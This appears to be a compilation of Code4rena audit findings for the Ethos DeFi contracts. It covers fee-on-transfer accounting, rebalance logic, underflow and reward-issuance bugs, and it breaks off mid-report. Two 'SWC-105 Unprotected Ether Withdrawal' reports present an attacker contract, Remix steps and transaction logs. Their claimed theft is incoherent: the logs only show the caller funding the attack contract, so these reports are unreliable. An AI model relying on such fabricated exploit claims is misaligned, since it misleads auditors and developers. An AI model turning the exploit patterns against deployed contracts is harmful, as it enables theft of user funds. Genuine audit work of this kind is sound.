1. For function called addStrategy(), the updates to totalAllocBPS += _allocBPS; should come before the require statements.
2. For function called _deposit() which is called by deposit(), the updates to _amount = balAfter - balBefore; should come before the require statements.
3. For function called _withdraw() which is called by withdraw(), the updates to value = (_freeFunds() * _shares) / totalSupply(); should come before the require(_shares != 0, "Invalid amount"); statement.
4. For function called inCaseTokensGetStuck(), the updates to uint256 amount = IERC20Metadata(_token).balanceOf(address(this)); should come before the require(_token != address(token), "!token"); statement.

LQTY ISSUANCE WON'T BE TRIGGERED, therefore LQTY gains won't be paid out as there is none.

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/StabilityPool.sol#L374
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/StabilityPool.sol#L330
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/StabilityPool.sol#L416-L419
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L84-L95

Vulnerability details

Impact

'_triggerLQTYIssuance(communityIssuanceCached);' was used in function provideToSP() and function withdrawFromSP() to Trigger a LQTY issuance, based on time passed since the last issuance in StabilityPool.sol

And the LQTY issuance triggered is to be shared between all depositors but the problem here is that _triggerLQTYIssuance() calls CommunityIssuance.sol's issueOath() which has a problem with its if statement, therefore LQTY will never be shared among depositors.

        if (lastIssuanceTimestamp < lastDistributionTime) {}

lastIssuanceTimestamp and lastDistributionTime was never initialized so therefore they're zero by default and they're were never updated.

    uint public lastIssuanceTimestamp;
    uint public lastDistributionTime;

Proof of Concept

This is a Dos due to nonInitialization or update of state variables.
zero can never be less than zero, so issueOath() won't work.

Tools Used

Manual Review.

Recommended Mitigation Steps

add a function to update lastIssuanceTimestamp and lastDistributionTime. or initialize them in the constructor.

Tokens with fees on transfer will cause mistakes in registering the new balance and the loss of users' funds

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L231
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L232
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L210
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L207
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L233

Vulnerability details

Impact

USDT already has fees in other blockchains.
Many of these tokens use proxy patterns (and USDT too). It's quite probable that in one day one of the tokens will start charging fees. Or you would like to add one more token to the whitelist and the token will be with fees

If the token is a fee-on-transfer token (e.g. USDT ), then the amount expected to receive from ActivePool.pullCollateralFromBorrowerOperationsOrDefaultPool function may be less.

in the ActivePool.pullCollateralFromBorrowerOperationsOrDefaultPool function, in line 207 first, we register a new balance for _collateral address in mapping, and then in line 210 we transfer the erc20 token from caller to ActivePool contract. but if we use the fee on the transfer token that charges a fee on transfers (for example USDT ), the received balance amount will be lower than added _amount.

Proof of Concept

the BorrowerOperations.openTrove function will make the call to the BorrowerOperations._activePoolAddColl(contractsCache.activePool, _collateral, _collAmount); to move collateral to the Active Pool, and mint the LUSDAmount to the borrower.

Suppose our asset is USDT and the amount is 100 USDT tokens. user will call openTrove with 100 tokens. USDT has a 1% fee, so BorrowerOperations will get 99 tokens from the user.

a / but the BorrowerOperations contract will call the _activePoolAddColl function with 100 tokens.
b / In line 220, we call troveManager.increaseTroveColl with 100 tokens.

Considering that liquidity for the user is recorded in the contracts according to the initial amount provided by the user, so I think BorrowerOperations will mint LUSD in line 233 for the user based on 100 tokens!

In the end, when the user needs to take back his/hir _collateral amounts, he/she will get 100 tokens instead of 100 tokens - fees. So the additional amount will be paid from the money of other users.

The same is happening in the below line,
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L476

if _isCollIncrease = true, we will transfer Tokens with fees on transfer, from the caller to the BorrowerOperations.sol and then from BorrowerOperations.sol to the activePool.sol.

if the fee is 1% on each transfer, and the amount is 100USDT, then from the caller to the BorrowerOperations.sol 99USDT and from BorrowerOperations.sol to the activePool.sol the final amount is almost 98USDT. but in activePool.sol.pullCollateralFromBorrowerOperationsOrDefaultPool function, we use 100USDT to make a change in the mapping balance.

Tools Used

manually

Sample report approved by C4 judges team.
code-423n4/2022-01-sandclock-findings#55

Recommended Mitigation Steps

One possibility would be to simply not use ERC20 tokens with fees but I think using before balance and after balance is good to add the new amount to the _collateral balance.

Exception State

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/CollateralConfig.sol#L34

Vulnerability details

==== Exception State ====

SWC ID: 110

Severity: Medium

Contract: CollateralConfig

Function name: collaterals(uint256)

PC address: 1882

Estimated Gas Usage: 1112 - 1207

An assertion violation was triggered.

It is possible to trigger an assertion violation. Note that Solidity assert() statements should only be used to check invariants. Review the transaction trace generated for this issue and either make sure your program logic is correct, or use require() instead of assert() if your goal is to constrain user inputs or enforce preconditions. Remember to validate inputs from both callers (for instance, via passed arguments) and callees (for instance, via return values).


In file: CollateralConfig.sol:34

address[] public collaterals


Initial State:

Account: [CREATOR], balance: 0x0, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded_data: , value: 0x0

Caller: [SOMEGUY], function: collaterals(uint256), txdata: 0x24c1173b0000000000000000000000000000010200000000000000000000000000000000, decoded_data: (87792850665602123573550648717396198555648,), value: 0x0

QA Report

See the markdown file with the details of this report here.

Wrong logic in ``_rebalance()`` to infer the amounts for deposit and withdraw

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L239-L309

Vulnerability details

Impact

Detailed description of the impact of this finding.
Wrong logic in _rebalance() to infer the amounts for deposit and withdraw.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

  1. The _rebalance() function aims to balance the amount of collateral that needs to be withdrawn or deposited based on the amount of collateral that will leave the ActivePool() and the constraint of yieldingPercentageDrift.
function _rebalance(address _collateral, uint256 _amountLeavingPool) internal {
        LocalVariables_rebalance memory vars;

        // how much has been allocated as per our internal records?
        vars.currentAllocated = yieldingAmount[_collateral];
        
        // what is the present value of our shares?
        vars.yieldGenerator = IERC4626(yieldGenerator[_collateral]);
        vars.ownedShares = vars.yieldGenerator.balanceOf(address(this));
        vars.sharesToAssets = vars.yieldGenerator.convertToAssets(vars.ownedShares);

        // if we have profit that's more than the threshold, record it for withdrawal and redistribution
        vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);
        if (vars.profit < yieldClaimThreshold[_collateral]) {
            vars.profit = 0;
        }
        
        // what % of the final pool balance would the current allocation be?
        vars.finalBalance = collAmount[_collateral].sub(_amountLeavingPool);
        vars.percentOfFinalBal = vars.finalBalance == 0 ? uint256(-1) : vars.currentAllocated.mul(10_000).div(vars.finalBalance);

        // if abs(percentOfFinalBal - yieldingPercentage) > drift, we will need to deposit more or withdraw some
        vars.yieldingPercentage = yieldingPercentage[_collateral];
        vars.finalYieldingAmount = vars.finalBalance.mul(vars.yieldingPercentage).div(10_000);
        vars.yieldingAmount = yieldingAmount[_collateral];
        if (vars.percentOfFinalBal > vars.yieldingPercentage && vars.percentOfFinalBal.sub(vars.yieldingPercentage) > yieldingPercentageDrift) {
            // we will end up overallocated, withdraw some
            vars.toWithdraw = vars.currentAllocated.sub(vars.finalYieldingAmount);
            vars.yieldingAmount = vars.yieldingAmount.sub(vars.toWithdraw);
            yieldingAmount[_collateral] = vars.yieldingAmount;
        } else if(vars.percentOfFinalBal < vars.yieldingPercentage && vars.yieldingPercentage.sub(vars.percentOfFinalBal) > yieldingPercentageDrift) {
            // we will end up underallocated, deposit more
            vars.toDeposit = vars.finalYieldingAmount.sub(vars.currentAllocated);
            vars.yieldingAmount = vars.yieldingAmount.add(vars.toDeposit);
            yieldingAmount[_collateral] = vars.yieldingAmount;
        }

        // + means deposit, - means withdraw
        vars.netAssetMovement = int256(vars.toDeposit) - int256(vars.toWithdraw) - int256(vars.profit);
        if (vars.netAssetMovement > 0) {
            IERC20(_collateral).safeIncreaseAllowance(yieldGenerator[_collateral], uint256(vars.netAssetMovement));
            IERC4626(yieldGenerator[_collateral]).deposit(uint256(vars.netAssetMovement), address(this));
        } else if (vars.netAssetMovement < 0) {
            IERC4626(yieldGenerator[_collateral]).withdraw(uint256(-vars.netAssetMovement), address(this), address(this));
        }

        // if we recorded profit, recalculate it for precision and distribute
        if (vars.profit != 0) {
            // profit is ultimately (coll at hand) + (coll allocated to yield generator) - (recorded total coll Amount in pool)
            vars.profit = IERC20(_collateral).balanceOf(address(this)).add(vars.yieldingAmount).sub(collAmount[_collateral]);
            if (vars.profit != 0) {
                // distribute to treasury, staking pool, and stability pool
                vars.treasurySplit = vars.profit.mul(yieldSplitTreasury).div(10_000);
                if (vars.treasurySplit != 0) {
                    IERC20(_collateral).safeTransfer(treasuryAddress, vars.treasurySplit);
                }

                vars.stakingSplit = vars.profit.mul(yieldSplitStaking).div(10_000);
                if (vars.stakingSplit != 0) {
                    IERC20(_collateral).safeTransfer(lqtyStakingAddress, vars.stakingSplit);
                    ILQTYStaking(lqtyStakingAddress).increaseF_Collateral(_collateral, vars.stakingSplit);
                }

                vars.stabilityPoolSplit = vars.profit.sub(vars.treasurySplit.add(vars.stakingSplit));
                if (vars.stabilityPoolSplit != 0) {
                    IERC20(_collateral).safeTransfer(stabilityPoolAddress, vars.stabilityPoolSplit);
                    IStabilityPool(stabilityPoolAddress).updateRewardSum(_collateral, vars.stabilityPoolSplit);   
                }
            }
        }
    }
  1. In particular, it uses a combined variable vars.netAssetMovement to decide if we need to deposit or withdraw.
// + means deposit, - means withdraw
        vars.netAssetMovement = int256(vars.toDeposit) - int256(vars.toWithdraw) - int256(vars.profit);
        if (vars.netAssetMovement > 0) {
            IERC20(_collateral).safeIncreaseAllowance(yieldGenerator[_collateral], uint256(vars.netAssetMovement));
            IERC4626(yieldGenerator[_collateral]).deposit(uint256(vars.netAssetMovement), address(this));
        } else if (vars.netAssetMovement < 0) {
            IERC4626(yieldGenerator[_collateral]).withdraw(uint256(-vars.netAssetMovement), address(this), address(this));
        }
  1. However, the logic of determining whether to deposit or withdraw based on the sign vars.netAssetMovement is wrong. For example, suppose vars.toDeposit = 1000, and vars.toWithdraw = 0 and
    vars.profit = 1100, thus vars.netAssetMovement = -100, to conclude that we need to withdraw in this case is wrong, no to mention the withdraw amount is 100.
// + means deposit, - means withdraw
        vars.netAssetMovement = int256(vars.toDeposit) - int256(vars.toWithdraw) - int256(vars.profit);
        if (vars.netAssetMovement > 0) {
            IERC20(_collateral).safeIncreaseAllowance(yieldGenerator[_collateral], uint256(vars.netAssetMovement));
            IERC4626(yieldGenerator[_collateral]).deposit(uint256(vars.netAssetMovement), address(this));
        } else if (vars.netAssetMovement < 0) {
            IERC4626(yieldGenerator[_collateral]).withdraw(uint256(-vars.netAssetMovement), address(this), address(this));
        }
  1. We should use vars.toDeposit and vars.toWithdraw alone to decide whether to deposit or withdraw and how much.

Tools Used

VScode

Recommended Mitigation Steps

We use vars.toDeposit and vars.toWithdraw alone to decide whether to deposit or withdraw and how much.

 function _rebalance(address _collateral, uint256 _amountLeavingPool) internal {
        LocalVariables_rebalance memory vars;

        // how much has been allocated as per our internal records?
        vars.currentAllocated = yieldingAmount[_collateral];
        
        // what is the present value of our shares?
        vars.yieldGenerator = IERC4626(yieldGenerator[_collateral]);
        vars.ownedShares = vars.yieldGenerator.balanceOf(address(this));
        vars.sharesToAssets = vars.yieldGenerator.convertToAssets(vars.ownedShares);

        // if we have profit that's more than the threshold, record it for withdrawal and redistribution
        vars.profit = vars.sharesToAssets.sub(vars.currentAllocated);
        if (vars.profit < yieldClaimThreshold[_collateral]) {
            vars.profit = 0;
        }
        
        // what % of the final pool balance would the current allocation be?
        vars.finalBalance = collAmount[_collateral].sub(_amountLeavingPool);
        vars.percentOfFinalBal = vars.finalBalance == 0 ? uint256(-1) : vars.currentAllocated.mul(10_000).div(vars.finalBalance);

        // if abs(percentOfFinalBal - yieldingPercentage) > drift, we will need to deposit more or withdraw some
        vars.yieldingPercentage = yieldingPercentage[_collateral];
        vars.finalYieldingAmount = vars.finalBalance.mul(vars.yieldingPercentage).div(10_000);
        vars.yieldingAmount = yieldingAmount[_collateral];
        if (vars.percentOfFinalBal > vars.yieldingPercentage && vars.percentOfFinalBal.sub(vars.yieldingPercentage) > yieldingPercentageDrift) {
            // we will end up overallocated, withdraw some
            vars.toWithdraw = vars.currentAllocated.sub(vars.finalYieldingAmount);
            vars.yieldingAmount = vars.yieldingAmount.sub(vars.toWithdraw);
            yieldingAmount[_collateral] = vars.yieldingAmount;
        } else if(vars.percentOfFinalBal < vars.yieldingPercentage && vars.yieldingPercentage.sub(vars.percentOfFinalBal) > yieldingPercentageDrift) {
            // we will end up underallocated, deposit more
            vars.toDeposit = vars.finalYieldingAmount.sub(vars.currentAllocated);
            vars.yieldingAmount = vars.yieldingAmount.add(vars.toDeposit);
            yieldingAmount[_collateral] = vars.yieldingAmount;
        }

-        // + means deposit, - means withdraw
-        vars.netAssetMovement = int256(vars.toDeposit) - int256(vars.toWithdraw) - int256(vars.profit);
-        if (vars.netAssetMovement > 0) {
-            IERC20(_collateral).safeIncreaseAllowance(yieldGenerator[_collateral], uint256(vars.netAssetMovement));
-            IERC4626(yieldGenerator[_collateral]).deposit(uint256(vars.netAssetMovement), address(this));
-        } else if (vars.netAssetMovement < 0) {
-            IERC4626(yieldGenerator[_collateral]).withdraw(uint256(-vars.netAssetMovement), address(this), -address(this));
-        }
+       if(vars.toDeposit > 0) {
+            IERC20(_collateral).safeIncreaseAllowance(yieldGenerator[_collateral], uint256(vars.toDeposit));
+            IERC4626(yieldGenerator[_collateral]).deposit(uint256(vars.toDeposit), address(this));
+       }
+      if(vars.toWithdraw > 0) {
+            IERC4626(yieldGenerator[_collateral]).withdraw(uint256(vars.toWithdraw), address(this), address(this));
+      }     


        // if we recorded profit, recalculate it for precision and distribute
        if (vars.profit != 0) {
            // profit is ultimately (coll at hand) + (coll allocated to yield generator) - (recorded total coll Amount in pool)
            vars.profit = IERC20(_collateral).balanceOf(address(this)).add(vars.yieldingAmount).sub(collAmount[_collateral]);
            if (vars.profit != 0) {
                // distribute to treasury, staking pool, and stability pool
                vars.treasurySplit = vars.profit.mul(yieldSplitTreasury).div(10_000);
                if (vars.treasurySplit != 0) {
                    IERC20(_collateral).safeTransfer(treasuryAddress, vars.treasurySplit);
                }

                vars.stakingSplit = vars.profit.mul(yieldSplitStaking).div(10_000);
                if (vars.stakingSplit != 0) {
                    IERC20(_collateral).safeTransfer(lqtyStakingAddress, vars.stakingSplit);
                    ILQTYStaking(lqtyStakingAddress).increaseF_Collateral(_collateral, vars.stakingSplit);
                }

                vars.stabilityPoolSplit = vars.profit.sub(vars.treasurySplit.add(vars.stakingSplit));
                if (vars.stabilityPoolSplit != 0) {
                    IERC20(_collateral).safeTransfer(stabilityPoolAddress, vars.stabilityPoolSplit);
                    IStabilityPool(stabilityPoolAddress).updateRewardSum(_collateral, vars.stabilityPoolSplit);   
                }
            }
        }
    }

QA Report

See the markdown file with the details of this report here.

SWC-105 Unprotected Ether Withdrawal roundUpDiv(uint256 x, uint256 y) ReaperVaultERC4626.sol

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L269-L275

Vulnerability details

Impact

I can withdraw money from the contract as and when I want using the function roundUpDiv(uint256 x, uint256 y) from attacker contract.  
It also costs the victim contract gas.  Theft of gas.

File: Ethos-Vault/contracts/ReaperVaultERC4626.sol
URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L269-L275

Description:
SWC-105 Unprotected Ether Withdrawal
Function in question: roundUpDiv(uint256 x, uint256 y)
Due to missing or insufficient access controls, malicious parties can withdraw some or all Ether from the contract account using the function called roundUpDiv(uint256 x, uint256 y) from attack solidity file.
I can withdraw money from the contract as and when I want using the function roundUpDiv(uint256 x, uint256 y) from attack solidity file.  
By deploying an attack file called ReaperVaultERC4626x.sol and deploying it to the same contract address as victim file called ReaperVaultERC4626.sol I am able to withdraw funds.
The named function in the title is being called from the attacker contract NOT the victim contract and has been made external payable in the victim contract.  
Please note this function call is from the attacker contract.  
I made the private function external payable in the attacker contract and it has created a back door to withdraw money.  
Please see POC on how to withdraw.  
This attack is not from the victim contract but from the attacker contract.

Proof of Concept

File: Ethos-Vault/contracts/ReaperVaultERC4626.sol
URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L269-L275
# The function that is vulnerable to unprotected ether withdrawal is as follows:
# Line 269-275
    function roundUpDiv(uint256 x, uint256 y) internal pure returns (uint256) {
        require(y != 0, "Division by 0");

        uint256 q = x / y;
        if (x % y != 0) q++;
        return q;
    }
# PoC:
// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Functions.sol";
import "./ReaperVaultERC4626.sol";

contract ReaperVaultERC4626x  {
    
    ReaperVaultERC4626 public aaa;
    
    constructor(ReaperVaultERC4626 _aaa) public payable {
        aaa = ReaperVaultERC4626(_aaa);
    }

    function asset() external payable returns (address assetTokenAddress) {
        aaa.asset();
        return aaa.asset();
    }

    function totalAssets() external payable returns (uint256 totalManagedAssets) {
        aaa.totalAssets();
        return aaa.totalAssets();
    }

    function convertToShares(uint256 assets) public payable returns (uint256 shares) {
        aaa.convertToShares(uint256(77));
        return aaa.convertToShares(uint256(77));
    }

    function convertToAssets(uint256 shares) public payable returns (uint256 assets) {
        aaa.convertToAssets(uint256(77));
        return aaa.convertToAssets(uint256(77));
    }


    function maxDeposit(address) external payable returns (uint256 maxAssets) {
        aaa.maxDeposit(address(aaa));
        return aaa.maxDeposit(address(aaa));
    }

    function previewDeposit(uint256 assets) external payable returns (uint256 shares) {
        aaa.previewDeposit(uint256(77));
        return aaa.previewDeposit(uint256(77));
    }


    function deposit(uint256 assets, address receiver) external payable returns (uint256 shares) {
        aaa.deposit(uint256(77), address(aaa));
        return aaa.deposit(uint256(77), address(aaa));
    }

    function maxMint(address) external payable returns (uint256 maxShares) {
        aaa.maxMint(address(aaa));
        return aaa.maxMint(address(aaa));
    }

    function previewMint(uint256 shares) public payable returns (uint256 assets) {
        aaa.previewMint(uint256(77));
        return aaa.previewMint(uint256(77));
    }

    function mint(uint256 shares, address receiver) external payable returns (uint256 assets) {
        aaa.mint(uint256(77), address(aaa));
        return aaa.mint(uint256(77), address(aaa));
    }

 
    function maxWithdraw(address owner) external payable returns (uint256 maxAssets) {
        aaa.maxWithdraw(address(aaa));
        return aaa.maxWithdraw(address(aaa));
    }

    function previewWithdraw(uint256 assets) public payable returns (uint256 shares) {
        aaa.previewWithdraw(uint256(77));
        return aaa.previewWithdraw(uint256(77));
    }

    function withdraw(uint256 assets, address receiver, address owner) external payable  returns (uint256 shares) {
        aaa.withdraw(uint256(77), address(aaa), address(aaa));
        return aaa.withdraw(uint256(77), address(aaa), address(aaa));
    }

    function maxRedeem(address owner) external payable returns (uint256 maxShares) {
        aaa.maxRedeem(address(aaa));
        return aaa.maxRedeem(address(aaa));
    }

    function previewRedeem(uint256 shares) external payable returns (uint256 assets) {
        aaa.previewRedeem(uint256(77));
        return aaa.previewRedeem(uint256(77));
    }

    function redeem(uint256 shares, address receiver, address owner) external payable returns (uint256 assets) {
        aaa.redeem(uint256(77), address(aaa), address(aaa));
        return aaa.redeem(uint256(77), address(aaa), address(aaa));
    }

    function roundUpDiv(uint256 x, uint256 y) external payable returns (uint256) {

        //return  77
    }

    fallback() external payable {
        aaa.asset();
        aaa.totalAssets();
        aaa.convertToShares(uint256(77));
        aaa.convertToAssets(uint256(77));
        aaa.maxDeposit(address(aaa));
        aaa.previewDeposit(uint256(77));
        aaa.deposit(uint256(77), address(aaa));
        aaa.maxMint(address(aaa));
        aaa.previewMint(uint256(77));
        aaa.mint(uint256(77), address(aaa));
        aaa.maxWithdraw(address(aaa));
        aaa.previewWithdraw(uint256(77));
        aaa.withdraw(uint256(77), address(aaa), address(aaa));
        aaa.maxRedeem(address(aaa));
        aaa.previewRedeem(uint256(77));
        aaa.redeem(uint256(77), address(aaa), address(aaa));
    }

    receive() external payable {
        aaa.asset();
        aaa.totalAssets();
        aaa.convertToShares(uint256(77));
        aaa.convertToAssets(uint256(77));
        aaa.maxDeposit(address(aaa));
        aaa.previewDeposit(uint256(77));
        aaa.deposit(uint256(77), address(aaa));
        aaa.maxMint(address(aaa));
        aaa.previewMint(uint256(77));
        aaa.mint(uint256(77), address(aaa));
        aaa.maxWithdraw(address(aaa));
        aaa.previewWithdraw(uint256(77));
        aaa.withdraw(uint256(77), address(aaa), address(aaa));
        aaa.maxRedeem(address(aaa));
        aaa.previewRedeem(uint256(77));
        aaa.redeem(uint256(77), address(aaa), address(aaa));
    }

    function attack() public payable {
        address(aaa).delegatecall(abi.encodeWithSignature("fallback()"));
        address(aaa).delegatecall(abi.encodeWithSignature("receive()"));
    }
}
# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultERC4626.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (Berlin)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 100 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "ReaperVaultERC4626x.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Remix VM (Berlin). And set the value to 10 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.

action
NB:
victim contract address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
attack contract address 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

1. start balance of victim contract Balance: 100 ETH
2. start balance of attack contract Balance: 10 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 77 ether
5. under deploy tab within the ReaperVaultERC4626x.sol attack contract> go to function button called roundUpDiv() and in from input box enter 77 in one and 77 in the other. 
6. then click on roundUpDiv(uint256 x, uint256 y) button.
7. end balance of victim contract Balance: 22.999999999999977823 ETH
8. end balance of attack contract Balance: 87 ETH
9. Finally, 77 ETHER has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.
# Log:
transact to ReaperVaultERC4626x.roundUpDiv pending ... 
[vm]from: 0x5B3...eddC4to: ReaperVaultERC4626x.roundUpDiv(uint256,uint256) 0xa13...eAD95value: 77000000000000000000 weidata: 0x104...0004dlogs: 0hash: 0xc6b...a207c
status	true Transaction mined and execution succeed
transaction hash	0xc6b514cba39ef7d147d977d5b7f4dfce4e18a77c8661fcf31cbe15aa2f3a207c
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	ReaperVaultERC4626x.roundUpDiv(uint256,uint256) 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
gas	25504 gas
transaction cost	22177 gas 
execution cost	833 gas 
input	0x104...0004d
decoded input	{
	"uint256 x": "77",
	"uint256 y": "77"
}
decoded output	{
	"0": "uint256: 0"
}
logs	[]
val	77000000000000000000 wei

Tools Used

Remix IDE VM Unit testing deployment in enclosed environment with a git clone of repository.

Recommended Mitigation Steps

Implement controls so withdrawals can only be triggered by authorized parties or according to the specs of the smart contract system.

QA Report

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

Call to ActivePool._rebalance can get revert SafeMath: subtraction overflow if _amountLeavingPool = collAmount[_collateral]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L271
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L257
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L262

Vulnerability details

Impact

When the user makes a call to ActivePool._rebalance function with _amountLeavingPool = collAmount[_collateral], vars.finalBalance can become 0, and then if vars.finalBalance is 0, vars.finalYieldingAmount can become 0.

vars.finalBalance = collAmount[_collateral].sub(_amountLeavingPool);
vars.finalYieldingAmount = vars.finalBalance.mul(vars.yieldingPercentage).div(10_000);

if vars.finalYieldingAmount becomes 0, the call can get reverted in line 271,

vars.toDeposit = vars.finalYieldingAmount.sub(vars.currentAllocated);

Proof of Concept

When the user makes a call to ActivePool._rebalance function with _amountLeavingPool = collAmount[_collateral], vars.finalBalance can become 0,
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L257

vars.finalBalance =100 - 100 = 0;

and then if vars.finalBalance is 0, vars.finalYieldingAmount can become 0.
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L262

vars.finalYieldingAmount = vars.0 .mul(vars.yieldingPercentage).div(10_000) = 0.

we don't make check that finalYieldingAmount is zero or no, and we make subtract from finalYieldingAmount in line 271,
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L271

vars.toDeposit = 0 .sub(vars.currentAllocated);

and this can make a revert SafeMath: subtraction overflow in a call to the function.

Tools Used

Manually

Recommended Mitigation Steps

Before making any subtraction, first, check with the if block that the value of a variable that you are making subtracting from it is more than 0 and the second value.

if ( finalYieldingAmount > vars.currentAllocated){ ... }

SWC-105 Unprotected Ether Withdrawal in _withdraw() function ReaperVaultV2.sol

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412

Vulnerability details

Impact

File: Ethos-Vault/contracts/ReaperVaultV2.sol
URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412

Description:
SWC-105 Unprotected Ether Withdrawal
Function in question: _withdraw()
Due to missing or insufficient access controls, malicious parties can withdraw some or all Ether from the contract account using the function called _withdraw() from the attacker contract.
I understand this is originally an internal function, but please test it and see?

I can withdraw money from the contract as and when I want using the function called _withdraw() from attacker contract.  
By deploying an attack file called ReaperVaultV2x.sol and deploying it to the same contract address as victim file called ReaperVaultV2.sol I am able to withdraw funds.
The named function in the title is being called from the attacker contract NOT the victim contract and has been made external payable in the attacker contract.  
Please note this function call is from the attacker contract.  
I made the private function external payable in the attacker contract and it has created a back door to withdraw money.  
Please see POC on how to withdraw and PREP.  
This attack is not from the victim contract but from the attacker contract.

Proof of Concept

URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412
# The function that is vulnerable to unprotected ether withdrawal is as follows:
# Line 359-412
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) internal nonReentrant returns (uint256 value) {
        require(_shares != 0, "Invalid amount");
        value = (_freeFunds() * _shares) / totalSupply();
        _burn(_owner, _shares);

        if (value > token.balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = token.balanceOf(address(this));
            if (value > vaultBalance) {
                value = vaultBalance;
            }

            require(
                totalLoss <= ((value + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR,
                "Withdraw loss exceeds slippage"
            );
        }

        token.safeTransfer(_receiver, value);
        emit Withdraw(msg.sender, _receiver, _owner, value, _shares);
    }
// Payload
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) external payable returns (uint256 value) {
       // _withdraw(uint256(77), address(aaa), address(aaa));
       // return _withdraw(uint256(77), address(aaa), address(aaa));
    }
// PoC:
// SPDX-License-Identifier: BUSL-1.1

